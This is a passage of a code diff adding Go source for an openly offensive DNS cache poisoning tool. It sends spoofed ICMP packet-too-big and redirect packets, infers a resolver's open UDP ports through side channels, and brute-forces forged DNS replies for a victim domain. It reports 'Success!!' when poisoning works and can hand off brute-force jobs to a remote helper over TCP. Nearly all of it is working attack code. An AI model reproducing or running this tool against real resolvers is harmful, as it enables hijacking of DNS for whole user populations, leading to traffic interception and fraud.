+ if c == 1 && !v6 {
+ XmitICMP(h, eth, probingIPLayer, probingPingLayer0, probingPingLayer1, nil, nil, nil, nil, gap)
+ }
+ */
+ time.Sleep(4 * time.Millisecond)
+ if n.nextTimeReverseOrder {
+ for i := BUCKET_DEPTH - 1; i >= 0; i-- {
+ probingIPLayer := GetIPLayer(localIP, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6)
+ if !*useLocalIP {
+ probingIPLayer = GetIPLayer(n.collidingIPs[i], r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6)
+ }
+ probingInnerIPLayer := GetIPLayer(r.resolverBackendIP, n.collidingIPs[i], false, 0, layers.IPProtocolICMPv6)
+ if *redirectAttackMode {
+ probingIPLayer = GetIPLayerWithTTL(r.redirectOldGW, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6, 255)
+ probingICMPLayer0, probingICMPLayer1 = GetICMPRedirectLayer(r.redirectNewGW, n.collidingIPs[i], v6)
+ probingInnerIPLayer = GetIPLayer(r.resolverBackendIP, n.collidingIPs[i], false, 0, layers.IPProtocolUDP)
+ XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, &probingUDP53Layer, nil, nil, gap)
+ } else {
+ XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, probingPingReplyLayer0, probingPingReplyLayer1, nil, gap)
+ }
+ }
+ n.nextTimeReverseOrder = false
+ n.checkingFirstLocalIP = true
+ } else {
+ for i := 0; i < BUCKET_DEPTH; i++ {
+ probingIPLayer := GetIPLayer(localIP, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6)
+ if !*useLocalIP {
+ probingIPLayer = GetIPLayer(n.collidingIPs[i], r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6)
+ }
+ probingInnerIPLayer := GetIPLayer(r.resolverBackendIP, n.collidingIPs[i], false, 0, layers.IPProtocolICMPv6)
+ if *redirectAttackMode {
+ probingIPLayer = GetIPLayerWithTTL(r.redirectOldGW, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6, 255)
+ probingICMPLayer0, probingICMPLayer1 = GetICMPRedirectLayer(r.redirectNewGW, n.collidingIPs[i], v6)
+ probingInnerIPLayer = GetIPLayer(r.resolverBackendIP, n.collidingIPs[i], false, 0, layers.IPProtocolUDP)
+ XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, &probingUDP53Layer, nil, nil, gap)
+ } else {
+ XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, probingPingReplyLayer0, probingPingReplyLayer1, nil, gap)
+ }
+ }
+ n.nextTimeReverseOrder = true
+ n.checkingFirstLocalIP = false
+ }
+ //time.Sleep(4 * time.Millisecond)
+ } else {
+ for i := 0; i < BUCKET_DEPTH; i++ {
+ probingIPLayer := GetIPLayer(localIP, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6)
+ if !*useLocalIP {
+ probingIPLayer = GetIPLayer(n.collidingIPs[i], r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6)
+ }
+ probingInnerIPLayer := GetIPLayer(r.resolverBackendIP, n.collidingIPs[i], false, 0, layers.IPProtocolICMPv6)
+ if *redirectAttackMode {
+ probingIPLayer = GetIPLayerWithTTL(r.redirectOldGW, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6, 255)
+ probingICMPLayer0, probingICMPLayer1 = GetICMPRedirectLayer(r.redirectNewGW, n.collidingIPs[i], v6)
+ probingInnerIPLayer = GetIPLayer(r.resolverBackendIP, n.collidingIPs[i], false, 0, layers.IPProtocolUDP)
+ XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, &probingUDP53Layer, nil, nil, gap)
+ } else {
+ XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, probingPingReplyLayer0, probingPingReplyLayer1, nil, gap)
+ if i == 0 && !v6 {
+ /*static bool rt_bind_exception may change the ts, we assume the first colliding IP is used to send the verification*/
+ probingIPLayer1 := GetIPLayer(n.collidingIPs[i], r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6)
+ XmitICMP(h, eth, probingIPLayer1, probingPingLayer0, probingPingLayer1, nil, nil, nil, nil, gap)
+ }
+ }
+ }
+ }
+ /* let the planting nodes go through */
+ if *plantingFinishGap != 0 {
+ time.Sleep(time.Duration(*plantingFinishGap) * time.Microsecond)
+ }
+ r.networkXmitLock.Unlock()
+ }
+ //fmt.Println("Plant end")
+}
+
+func recevingWorker() {
+ for {
+ data := <-pcapChannel
+ packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.DecodeOptions{
+ Lazy: true,
+ NoCopy: true,
+ SkipDecodeRecovery: false,
+ DecodeStreamsAsDatagrams: false,
+ })
+ srcIP, dstIP, fl, pktlen, nh := ExtractIPPacket(&packet)
+ /***************************************/
+ // to remove, pretend we are off path
+ //if !SendToUs(&packet, eth.SrcMAC) {
+ // continue
+ //}
+ /**************************************/
+ sendByUs := SendByUs(&packet, eth.SrcMAC)
+ switch nh {
+ case layers.IPProtocolUDP:
+ /* TODO: here we assumes the front IP and back IP are the same, but always leave victimIP as front end */
+ /* Fixed by changing to victimFrontIP */
+ if !sendByUs && CompareIPAddr(srcIP, victimFrontIP, 0) == 0 && fl != 2 {
+ _, _, dns := ExtractDNSPacket(&packet)
+ if dns != nil && dns.Questions != nil && len(dns.Questions) != 0 {
+ if string(dns.Questions[0].Name) == dnsQueryName && dns.QR == true {
+ gotReply = true
+ replyReason = int(dns.ResponseCode)
+ }
+ /* TODO: change the SOA name accordingly */
+ if dns.QR == true && dns.Authorities != nil && len(dns.Authorities) != 0 && dns.ResponseCode == layers.DNSResponseCodeNXDomain && string(dns.Questions[0].Name) == dnsQueryName && string(dns.Authorities[0].Name) == *victimDomain && string(dns.Authorities[0].SOA.MName) == "www.SAMPLE.com" {
+ fmt.Println("Success!!")
+ fmt.Println("Finish attack @", time.Now())
+ fmt.Println("Duration:", time.Now().Sub(attackStartTime))
+ os.Exit(0)
+ } else if dns.QR == true && string(dns.Questions[0].Name) == dnsQueryName && dns.ResponseCode == layers.DNSResponseCodeNoErr {
+ for _, record := range dns.Answers {
+ if record.Type == layers.DNSTypeA {
+ fmt.Println("Success2!!")
+ fmt.Println("Finish attack @", time.Now())
+ fmt.Println("Duration:", time.Now().Sub(attackStartTime))
+ fmt.Println("BF total duration:", bfTotalTime)
+ fmt.Println("BF times:", bfTimes)
+ os.Exit(0)
+ }
+ }
+ }
+ }
+ }
+ if !sendByUs && CompareIPAddr(srcIP, victimIP, 0) == 0 && fl != 2 {
+ _, _, dns := ExtractDNSPacket(&packet)
+ if dns.QR == false && *floodOnlyMode && strings.Contains(string(dns.Questions[0].Name), *victimDomain) {
+ sport, _, _ := ExtractUDPPacket(&packet)
+ //dnsBruteForce(dstIP, srcIP, uint16(sport), *dnsBFTimeGap, *dnsBFFinishTimeGap, *auxDomain, *victimDomain, string(dns.Questions[0].Name), *forwarderInjectMode)
+ normalReturn(dstIP, srcIP, sport, dns.ID, dns.Questions[0], *auxDomain, *victimDomain)
+ }
+ }
+ if !sendByUs && *testMode {
+ sport, _, _ := ExtractUDPPacket(&packet)
+ if sport != 0 {
+ _, _, dns := ExtractDNSPacket(&packet)
+ if dns != nil && dns.Questions != nil && len(dns.Questions) != 0 && dns.QR == false {
+ r := getBackendResolver(srcIP)
+ if r == nil {
+ normalReturn(dstIP, srcIP, sport, dns.ID, dns.Questions[0], "", "")
+ break
+ } else {
+ // pretend we are attacking
+ // TODO: here we assumes only one name server
+ fmt.Println("recv query from", srcIP, ":", sport, "id=", dns.ID)
+ portMap[sport] = true
+ currentPort = sport
+ recvTimes++
+ if recvTimes%2 != 0 {
+ continue
+ }
+ n := r.nameServers[0]
+ for i := 0; i < 100; i++ {
+ id := allocateGroupID(n)
+ // TODO: we assumes the group size is 1
+ n.groups[id] = make([]uint16, 1)
+ n.groups[id][0] = uint16(sport) - uint16(50) + uint16(i)
+ n.probeChannel <- id
+ }
+ dnsBruteForce(dstIP, srcIP, uint16(sport), *dnsBFTimeGap, *dnsBFFinishTimeGap, *auxDomain, *victimDomain, string(dns.Questions[0].Name), *forwarderInjectMode)
+ }
+ }
+ }
+ }
+ break
+ // IPv4 also goes here
+ case layers.IPProtocolIPv6Fragment:
+ if guessSeedMode && !sendByUs {
+ _, offset, _, nextHeader, payload := ExtractFragment(&packet)
+ innerPkt := gopacket.NewPacket(payload, nextHeader, gopacket.NoCopy)
+ _type, _, _, _, _ := ExtractICMPPacket(&innerPkt)
+ if _type == layers.ICMPv6TypeEchoReply || _type == layers.ICMPv4TypeEchoReply {
+ if CompareIPAddr(victimIP, srcIP, 0) == 0 && offset == 0 {
+ if !guessSeedMacMode {
+ ipNoFragMap[dstIP.String()] = false
+ } else {
+ srcMac, _ := ExtractMacPacket(&packet)
+ ip, ok := macIPMap[srcMac.String()]
+ if ok {
+ ipNoFragMap[ip.String()] = false
+ }
+ }
+ }
+ }
+ }
+ if !sendByUs && *publicPortMode {
+ r := getBackendResolver(srcIP)
+ if r == nil {
+ break
+ }
+ // check the MTU
+ _, offset, _, nextHeader, payload := ExtractFragment(&packet)
+ n := r.nameServers[0]
+ if offset == 0 {
+ if pktlen <= n.mtu {
+ fmt.Println(pktlen, n.mtu)
+ // Port hit
+ if pktlen-1 >= MIN_MTU {
+ if nextHeader == layers.IPProtocolICMPv6 || nextHeader == layers.IPProtocolICMPv4 {
+ innerPkt := gopacket.NewPacket(payload, nextHeader, gopacket.NoCopy)
+ _type, _, _id, _, _ := ExtractICMPPacket(&innerPkt)
+ if _type == layers.ICMPv6TypeEchoReply || _type == layers.ICMPv4TypeEchoReply {
+ binarySearch(r, n, _id)
+ }
+ }
+ } else {
+
+ }
+ }
+ }
+ }
+ // wrong guess
+ break
+ case layers.IPProtocolICMPv4:
+ fallthrough
+ case layers.IPProtocolICMPv6:
+ if guessSeedMode && !sendByUs {
+ _type, _, _, _, _ := ExtractICMPPacket(&packet)
+ srcMac, _ := ExtractMacPacket(&packet)
+ if _type == layers.ICMPv6TypeEchoReply || _type == layers.ICMPv4TypeEchoReply {
+ if CompareIPAddr(victimIP, srcIP, 0) == 0 {
+ //fmt.Println("No frag1:",_type,srcMac)
+ if !guessSeedMacMode {
+ ipNoFragMap[dstIP.String()] = true
+ //fmt.Println("No frag-1:",_type,srcMac)
+ } else {
+ ip, ok := macIPMap[srcMac.String()]
+ //fmt.Println("No frag2:",_type,srcMac,ip)
+ if ok {
+ ipNoFragMap[ip.String()] = true
+ //fmt.Println("No frag:", ip)
+ }
+ }
+ }
+ }
+ }
+ if !sendByUs && !*publicPortMode {
+ r := getBackendResolver(srcIP)
+ if r == nil {
+ break
+ }
+ n := getNS(dstIP, r)
+ if n == nil {
+ break
+ }
+ if *groupSize != 1 {
+ cachePlanter(r, n, true, false)
+ }
+ _type, _, _id, _, _ := ExtractICMPPacket(&packet)
+ if _type == layers.ICMPv6TypeEchoReply || _type == layers.ICMPv4TypeEchoReply {
+ binarySearch(r, n, _id)
+ }
+ }
+ break
+ default:
+ break
+ }
+ }
+}
+
+func recevingThread() {
+ for {
+ data, _, err := h.ReadPacketData()
+ if err == pcap.NextErrorTimeoutExpired {
+ continue
+ } else if err != nil {
+ log.Printf("error reading packet: %v", err)
+ if guessSeedMacMode {
+ break
+ }
+ continue
+ }
+ pcapChannel <- data
+ }
+}
+
+func bruteForcer(r *BackendResolver, n *NameServer) {
+ for {
+ ports := make([]uint16, 0)
+ ports = append(ports, <-n.bruteForceBuffer)
+ // enter waiting mode
+ r.networkXmitLock.Lock()
+ time.Sleep(time.Duration(*jitterProtectionDuration) * time.Millisecond)
+ for len(n.bruteForceBuffer) > 0 {
+ ports = append(ports, <-n.bruteForceBuffer)
+ }
+ // sort
+ // TODO: BUG here, no wrap around is considered
+ sort.Slice(ports, func(i, j int) bool {
+ return ports[i] < ports[j]
+ })
+ questionName := ""
+ if *dnsPrivacyMode && !*publicPortMode {
+ questionName = "_." + *victimDomain
+ } else {
+ questionName = dnsQueryName
+ }
+ fmt.Println("BF", ports[0])
+ dnsBruteForce(n.nsIP, r.resolverBackendIP, ports[0], *dnsBFTimeGap, *dnsBFFinishTimeGap, *auxDomain, *victimDomain, questionName, *forwarderInjectMode)
+ r.networkXmitLock.Unlock()
+ if !*publicPortMode {
+ cachePlanter(r, n, true, false)
+ } else {
+ /* TODO: BUG here, we only assumes only one NS of the forwarder */
+ if *publicPortMode && n.mtu == MIN_MTU {
+ /* TODO: we can periodically check if the previous MTU still exists and we may increase it if it doesn't*/
+ fmt.Println("MTU exhausted, consider pause for 10min or wait for the cache to expire and rerun.")
+ os.Exit(1)
+ } else {
+ n.mtu -= 8
+ }
+ }
+ n.bruteForceBuffer = make(chan uint16, 65536)
+ r.alwaysOpenPorts[ports[0]] = true
+
+ }
+}
+
+/* Maybe we can make the BF multi-threaded? */
+func binarySearch(r *BackendResolver, n *NameServer, oldid uint16) {
+ if oldid < 3 {
+ return
+ }
+ group := n.groups[oldid]
+ groupLen := len(group)
+
+ if groupLen == 1 {
+ //brute force
+ //fmt.Println("Open Port:", group[0])
+ questionName := ""
+ if *dnsPrivacyMode && !*publicPortMode {
+ questionName = "_." + *victimDomain
+ } else {
+ questionName = dnsQueryName
+ }
+ if !*publicPortMode {
+ if *groupSize > 1 {
+ //fmt.Println("Brute Force:", group[0])
+ r.networkXmitLock.Lock()
+ dnsBruteForce(n.nsIP, r.resolverBackendIP, group[0], *dnsBFTimeGap, *dnsBFFinishTimeGap, *auxDomain, *victimDomain, questionName, *forwarderInjectMode)
+ r.networkXmitLock.Unlock()
+ r.alwaysOpenPorts[group[0]] = true
+ } else {
+ n.bruteForceBuffer <- group[0]
+ //fmt.Println("Append open port", group[0], "id=", oldid)
+ }
+ } else {
+ for _, ns := range r.nameServers {
+ if *groupSize > 1 {
+ //fmt.Println("Brute Force:", group[0])
+ r.networkXmitLock.Lock()
+ dnsBruteForce(ns.nsIP, r.resolverBackendIP, group[0], *dnsBFTimeGap, *dnsBFFinishTimeGap, *auxDomain, *victimDomain, questionName, *forwarderInjectMode)
+ r.networkXmitLock.Unlock()
+ r.alwaysOpenPorts[group[0]] = true
+ } else {
+ ns.bruteForceBuffer <- group[0]
+ }
+ }
+ }
+
+ //cachePlanter(r, n, true)
+
+ } else if groupLen > 1 {
+ /* No use currently */
+ var repeatTimes1 int
+ if repeatTimes > 1 {
+ repeatTimes1 = repeatTimes + 1
+ } else {
+ repeatTimes1 = 1
+ }
+ for j := 0; j < repeatTimes1; j++ {
+ //left
+ id := allocateGroupID(n)
+ n.groups[id] = make([]uint16, groupLen/2)
+ copy(n.groups[id], group[0:groupLen/2])
+ fmt.Println(r.resolverBackendIP, "bsl", n.groups[id][0], "+", len(n.groups[id]), "old id=", oldid, "id=", id)
+ /*
+ n.priorityProbeGroupNumLock.Lock()
+ n.priorityProbeGroupNum = append(n.priorityProbeGroupNum, id)
+ n.priorityProbeGroupNumLock.Unlock()
+ */
+ n.priorityProbeChannel <- id
+
+ //right
+ id = allocateGroupID(n)
+ n.groups[id] = make([]uint16, groupLen-groupLen/2)
+ copy(n.groups[id], group[groupLen/2:groupLen])
+ fmt.Println(r.resolverBackendIP, "bsr", n.groups[id][0], "+", len(n.groups[id]), "old id=", oldid, "id=", id)
+ /*
+ n.priorityProbeGroupNumLock.Lock()
+ n.priorityProbeGroupNum = append(n.priorityProbeGroupNum, id)
+ n.priorityProbeGroupNumLock.Unlock()
+ */
+ n.priorityProbeChannel <- id
+ }
+ } else {
+ //cachePlanter(r, n, true)
+ fmt.Println(r.resolverBackendIP, "bug: groupLen <= 0, id=", oldid)
+ }
+}
+
+func probeSender(r *BackendResolver, n *NameServer) {
+ v6 := r.resolverBackendIP.To4() == nil
+ var probingICMPLayer0, probingICMPLayer1 gopacket.SerializableLayer
+ if !*redirectAttackMode {
+ probingICMPLayer0, probingICMPLayer1 = GetICMPPkt2BigLayer(n.mtu, v6)
+ } else {
+ probingICMPLayer0, probingICMPLayer1 = GetICMPRedirectLayer(r.redirectNewGW, n.nsIP, v6)
+ }
+ var probingInnerIPLayer gopacket.SerializableLayer
+ if !*publicPortMode {
+ probingInnerIPLayer = GetIPLayer(r.resolverBackendIP, n.nsIP, false, 0, layers.IPProtocolUDP)
+ } else {
+ probingInnerIPLayer = GetIPLayer(r.resolverBackendIP, localIP, false, 0, layers.IPProtocolUDP)
+ }
+ probingUDPLayer := GetUDPLayer(0, 53)
+ if !*publicPortMode {
+ for {
+ if n.readyToBegin {
+ break
+ }
+ time.Sleep(time.Millisecond)
+ }
+ }
+ bsTimeStamp = time.Now().Add(-time.Duration(*bsStateDuration) * time.Millisecond)
+ for {
+ var id uint16
+ bsMode := false
+ if time.Now().Sub(bsTimeStamp) < time.Duration(*bsStateDuration)*time.Millisecond {
+ bsMode = true
+ }
+ if len(n.priorityProbeChannel) != 0 {
+ id = <-n.priorityProbeChannel
+ if bsMode {
+ if calculatePortDistance(n.groups[id][0], bsStartPort) >= uint16(*groupSize) {
+ continue
+ }
+ bsTimeStamp = time.Now()
+ } else {
+ //cachePlanter(r, n, true)
+ bsTimeStamp = time.Now()
+ bsStartPort = n.groups[id][0]
+ fmt.Println("BS Mode for Port", n.groups[id][0])
+ bsMode = true
+ }
+ } else {
+ if bsMode {
+ time.Sleep(time.Microsecond)
+ continue
+ } else {
+ select {
+ case id = <-n.probeChannel:
+ break
+ default:
+ time.Sleep(time.Microsecond)
+ }
+ }
+ }
+
+ /* send probes */
+ if id == 0 {
+ continue
+ }
+ ports := n.groups[id]
+ var probingIPLayer gopacket.SerializableLayer
+ if !*redirectAttackMode {
+ probingIPLayer = GetIPLayer(localIP, r.resolverBackendIP, false, uint32(id), layers.IPProtocolICMPv6)
+ if !*useLocalIP {
+ probingIPLayer = GetIPLayer(n.nsIP, r.resolverBackendIP, false, uint32(id), layers.IPProtocolICMPv6)
+ }
+ } else {
+ probingIPLayer = GetIPLayerWithTTL(r.redirectOldGW, r.resolverBackendIP, false, uint32(id), layers.IPProtocolICMPv6, 255)
+ }
+ if *publicPortMode {
+ probingICMPLayer0, probingICMPLayer1 = GetICMPPkt2BigLayer(n.mtu, v6)
+ }
+ r.networkXmitLock.Lock()
+ for _, port := range ports {
+ probingUDPLayer.SrcPort = layers.UDPPort(port)
+ XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, &probingUDPLayer, nil, nil, *packetSendingGap)
+ }
+ if *verificationGap != 0 {
+ time.Sleep(time.Duration(*verificationGap) * time.Microsecond)
+ }
+
+ /* verification */
+ var verificationIPLayer gopacket.SerializableLayer
+ verificationPingLayer0, verificationPingLayer1 := GetICMPPingLayer(id, id, v6)
+ if !*publicPortMode {
+ if !n.fastPlantMode || n.checkingFirstLocalIP {
+ /* TODO: we msut control n.collidingIPs[0] */
+ verificationIPLayer = GetIPLayer(n.collidingIPs[0], r.resolverBackendIP, false, uint32(id), layers.IPProtocolICMPv6)
+ } else {
+ verificationIPLayer = GetIPLayer(n.collidingIPs[BUCKET_DEPTH-1], r.resolverBackendIP, false, uint32(id), layers.IPProtocolICMPv6)
+ }
+ } else {
+ verificationIPLayer = GetIPLayer(localIP, r.resolverBackendIP, false, uint32(id), layers.IPProtocolICMPv6)
+ }
+ n.groupSendTime[id] = time.Now()
+ if !*redirectAttackMode {
+ XmitICMP(h, eth, verificationIPLayer, verificationPingLayer0, verificationPingLayer1, nil, nil, nil, n.garbage, 0)
+ /* test */
+ //checkCacheStatus(r, n)
+ } else {
+ XmitICMP(h, eth, verificationIPLayer, verificationPingLayer0, verificationPingLayer1, nil, nil, nil, nil, 0)
+ }
+
+ r.networkXmitLock.Unlock()
+ if bsMode {
+ //cachePlanter(r, n, true)
+ }
+ if *groupGap != 0 {
+ time.Sleep(time.Duration(*groupGap) * time.Microsecond)
+ }
+ }
+}
+
+type DnsQuery struct {
+ DnsQueryName string
+ FrontIP net.IP
+ VictimDomain string
+}
+
+type BfInfo struct {
+ NsIP net.IP
+ BackendIP net.IP
+ Port uint16
+ DnsBFTimeGap uint
+ DnsBFFinishTimeGap uint
+ AuxDomain string
+ VictimDomain string
+ QuestionName string
+ PublicPortMode bool
+}
+
+type RemoteInfo struct {
+ Dq *DnsQuery
+ Bf *BfInfo
+}
+
+var bfCount byte = 0
+
+func serverWorker(conn net.Conn, srcIP net.IP) {
+ for {
+ defer conn.Close()
+ /*data len(2 bytes)+data*/
+ /*get data len*/
+ temp := make([]byte, 2)
+ n, err := conn.Read(temp)
+ if err != nil {
+ fmt.Println("read failed1:", err)
+ return // restart TCP
+ }
+ if n == 1 {
+ tmp := make([]byte, 1)
+ _, err = conn.Read(tmp)
+ if err != nil {
+ fmt.Println("read failed2:", err)
+ return // restart TCP
+ }
+ temp[1] = tmp[0]
+ }
+ datalen := binary.BigEndian.Uint16(temp)
+ /*read data*/
+ remainLen := datalen
+ data := make([]byte, 0)
+ for remainLen > 0 {
+ temp = make([]byte, remainLen)
+ n, err = conn.Read(temp)
+ if err != nil {
+ fmt.Println("read failed2:", err)
+ return // restart TCP
+ }
+ data = append(data, temp...)
+ remainLen -= uint16(n)
+ }
+ /*deserialize*/
+ handle := new(codec.BincHandle)
+ dec := codec.NewDecoderBytes(data, handle)
+ var info RemoteInfo
+ err = dec.Decode(&info)
+ if err != nil {
+ fmt.Println("decode fail", err)
+ }
+ /*BF*/
+ if info.Dq != nil {
+ // TODO: incomplete here. The server can't notify the client (1)query returned early and (2)successful attack
+ victimFrontIP = info.Dq.FrontIP
+ dnsQueryName = info.Dq.DnsQueryName
+ *victimDomain = info.Dq.VictimDomain
+ sendDNSRequest(uint16(rand.Uint32()), info.Dq.DnsQueryName, srcIP, info.Dq.FrontIP)
+ }
+ if info.Bf != nil {
+ dnsBruteForce(srcIP, info.Bf.BackendIP, info.Bf.Port, info.Bf.DnsBFTimeGap, info.Bf.DnsBFFinishTimeGap, info.Bf.AuxDomain, info.Bf.VictimDomain, info.Bf.QuestionName, *forwarderInjectMode)
+ }
+ bfCount++
+ _, err = conn.Write([]byte{bfCount})
+ if err != nil {
+ fmt.Println("write failed:", err)
+ }
+ }
+}
+
+func serverRoutine(listensock net.Listener, srcIP net.IP) {
+ for {
+ conn, err := listensock.Accept()
+ if err != nil {
+ fmt.Println("accept failed:", err)
+ continue
+ }
+ serverWorker(conn, srcIP)
+ }
+}
+
+func main() {
+ rand.Seed(time.Now().Unix())
+ mtu, fastMode, dnsTimeout, _, redirectNewGW, redirectOldGW, checkPoint, plantDelay, pcapInputFileName, seedGuessStep, ipListFileName, bruteForceServerSrc, bruteForceServer := parseArgs()
+ if seedGuessStep == 3 {
+ readMacs()
+ }
+ h, _, _, eth = initPcap(*ifaceName, CheckIPv6(localIP), gatewayMac, localMac, pcapInputFileName)
+ if bruteForceServerSrc != "" {
+ listensock, err := net.Listen("tcp", "0.0.0.0:44444")
+ if err != nil {
+ fmt.Println("listen err:", err)
+ os.Exit(-1)
+ }
+ /* TODO: NAT only valid for one NS' IP */
+ serverRoutine(listensock, net.ParseIP(bruteForceServerSrc))
+ }
+ if bruteForceServer != "" {
+ serverTCPAddr, err := net.ResolveTCPAddr("tcp", bruteForceServer)
+ if err != nil {
+ fmt.Println("client TCP addr err:", err)
+ os.Exit(-1)
+ }
+ conn, err := net.DialTCP("tcp", nil, serverTCPAddr)
+ if err != nil {
+ fmt.Println("TCP err", err)
+ os.Exit(-1)
+ }
+ bfConn = conn
+ }
+ go recevingThread()
+ /* Multithread is buggy, w/o much performance improvement */
+ for i := 0; i < 1; i++ {
+ go recevingWorker()
+ }
+ garbage := make([]byte, mtu-IPICMPHDRLEN+GARBAGE_EXTRA)
+ for i := 0; i < int(mtu-IPICMPHDRLEN+GARBAGE_EXTRA); i++ {
+ garbage[i] = 1
+ }
+ if seedGuessStep == 0 {
+ guessSeed(checkPoint, victimIP, plantDelay, mtu, garbage, 0)
+ return
+ } else if seedGuessStep == 1 {
+ guessSeed_macVer1(checkPoint, victimIP, plantDelay, mtu)
+ return
+ } else if seedGuessStep == 2 {
+ guessSeed_macver2(checkPoint, victimIP, plantDelay, garbage)
+ return
+ } else if seedGuessStep == 3 {
+ guessSeed_macver_analyze(checkPoint)
+ return
+ }
+ tempCIPs := make([][NS_NUM][BUCKET_DEPTH * 2]net.IP, 0)
+ /* Modify here if we use multiple backend resolvers / NS */
+ if ipListFileName == "" {
+ r := backendResolverBuilder(victimIP, redirectNewGW, redirectOldGW)
+ backendResolvers = append(backendResolvers, r)
+ } else {
+ file, err := os.Open(ipListFileName)
+ if err != nil {
+ fmt.Println(err)
+ os.Exit(-1)
+ }
+ for {
+ var resolverIP string
+ n, err := fmt.Fscanf(file, "%s", &resolverIP)
+ if n <= 0 || err != nil {
+ break
+ }
+ var temp [NS_NUM][BUCKET_DEPTH * 2]net.IP
+ if !*publicPortMode {
+ for nNS := 0; nNS < NS_NUM; nNS++ {
+ for nCIP := 0; nCIP < BUCKET_DEPTH*2; nCIP++ {
+ var tempString string
+ n, err := fmt.Fscanf(file, "%s", &tempString)
+ temp[nNS][nCIP] = net.ParseIP(tempString)
+ if n <= 0 || err != nil {
+ fmt.Println("err, not sufficient colliding IPs, nCIP=", nCIP)
+ os.Exit(1)
+ }
+ }
+ }
+ }
+ r := backendResolverBuilder(net.ParseIP(resolverIP), redirectNewGW, redirectOldGW)
+ backendResolvers = append(backendResolvers, r)
+ fmt.Println("backend:", resolverIP)
+ tempCIPs = append(tempCIPs, temp)
+ }
+ }
+ for seq, res := range backendResolvers {
+ //if *redirectAttackMode {
+ // go neighborCacheSolicitor(r)
+ //}
+ time.Sleep(time.Millisecond)
+ for i := 0; i < NS_NUM; i++ {
+ if ipListFileName == "" {
+ res.nameServers = append(res.nameServers, nsBuilder(victimAuthIP[i], collidingIPs[i], collidingIPs2[i], mtu, fastMode))
+ } else if !*publicPortMode {
+ res.nameServers = append(res.nameServers, nsBuilder(victimAuthIP[i], tempCIPs[seq][i][:BUCKET_DEPTH], tempCIPs[seq][i][BUCKET_DEPTH:], mtu, fastMode))
+ } else {
+ res.nameServers = append(res.nameServers, nsBuilder(victimAuthIP[i], nil, nil, mtu, fastMode))
+ }
+ }
+ if !*floodOnlyMode {
+ if !*publicPortMode {
+ for _, ns := range res.nameServers {
+ go cachePlanter(res, ns, false, false)
+ if len(collidingIPs2) != 0 {
+ go cachePlanter(res, ns, false, true)
+ }
+ go probeSender(res, ns)
+ go portGroupFormer(res, ns, *startPort, *endPort)
+ if *groupSize == 1 {
+ go bruteForcer(res, ns)
+ }
+ }
+ } else {
+ go probeSender(res, res.nameServers[0])
+ go portGroupFormer(res, res.nameServers[0], *startPort, *endPort)
+ for _, ns := range res.nameServers {
+ if *groupSize == 1 {
+ go bruteForcer(res, ns)
+ }
+ }
+ }
+ }
+ }
+ go recevingThread()
+ /* Multithread is buggy, w/o much performance improvement */
+ for i := 0; i < 1; i++ {
+ go recevingWorker()
+ }
+ go dnsRequestSender(dnsTimeout, localIP)
+ attackStartTime = time.Now()
+ fmt.Println("Start attack @", attackStartTime)
+ time.Sleep(999 * time.Hour)
+}
+
+/* Utility functions below this point */
+
+func calculatePortDistance(port0 uint16, port1 uint16) uint16 {
+ distance := port0 - port1
+ if distance > 32767 {
+ return 65535 - distance
+ } else {
+ return distance
+ }
+}
+
+func initPcap(ifaceName string, v6 bool, nextHopMac net.HardwareAddr, localMac net.HardwareAddr, pcapInputFileName string) (*pcap.Handle, *net.Interface, net.IP, *layers.Ethernet) {
+ handle, err := pcap.OpenLive(
+ ifaceName,
+ 65536,
+ true,
+ pcap.BlockForever,
+ )
+ if pcapInputFileName != "" {
+ handle, err = pcap.OpenOffline(pcapInputFileName)
+ // TODO: here we assumes this is only used in seed guessing
+ guessSeedMacMode = true
+ guessSeedMode = true
+ }
+ if err != nil {
+ fmt.Println("handle open err:", err)
+ os.Exit(1)
+ }
+ if nextHopMac == nil && localMac == nil {
+ iface, err := net.InterfaceByName(ifaceName)
+ if err != nil {
+ fmt.Println("interface open err:", err)
+ os.Exit(2)
+ }
+ localIPArray, err := GetIfaceAddrMulti(iface)
+ if err != nil {
+ fmt.Println("ip get err:", err)
+ os.Exit(3)
+ }
+ localIP := localIPArray[0]
+ //query routing table
+ router, err := routing.New()
+ if err != nil {
+ fmt.Println("route table build err:", err)
+ os.Exit(4)
+ }
+ //TODO: here we assume only one default route
+ var nextHopIP net.IP
+ if !v6 {
+ _, nextHopIP, _, err = router.Route(net.ParseIP("8.8.8.8"))
+ } else {
+ _, nextHopIP, _, err = router.Route(net.ParseIP("2001:4860:4860::8888"))
+ }
+ if err != nil {
+ fmt.Println("route table query err:", err)
+ os.Exit(5)
+ }
+ var dstMac net.HardwareAddr
+ if v6 {
+ dstMac, err = GetGatewayAddr(iface, handle, nextHopIP)
+ } else {
+ dstMac, err = GetGatewayAddr(iface, handle, nextHopIP.To4())
+ }
+ if err != nil {
+ fmt.Println("ARP for gateway MAC err:", err)
+ os.Exit(6)
+ }
+ //fmt.Println("MAC:", dstMac)
+ ethernetLayer := &layers.Ethernet{
+ SrcMAC: iface.HardwareAddr,
+ DstMAC: dstMac,
+ EthernetType: layers.EthernetTypeIPv4,
+ }
+ if v6 {
+ ethernetLayer.EthernetType = layers.EthernetTypeIPv6
+ }
+ return handle, iface, localIP, ethernetLayer
+ } else {
+ ethernetLayer := &layers.Ethernet{
+ SrcMAC: localMac,
+ DstMAC: nextHopMac,
+ EthernetType: layers.EthernetTypeIPv4,
+ }
+ if v6 {
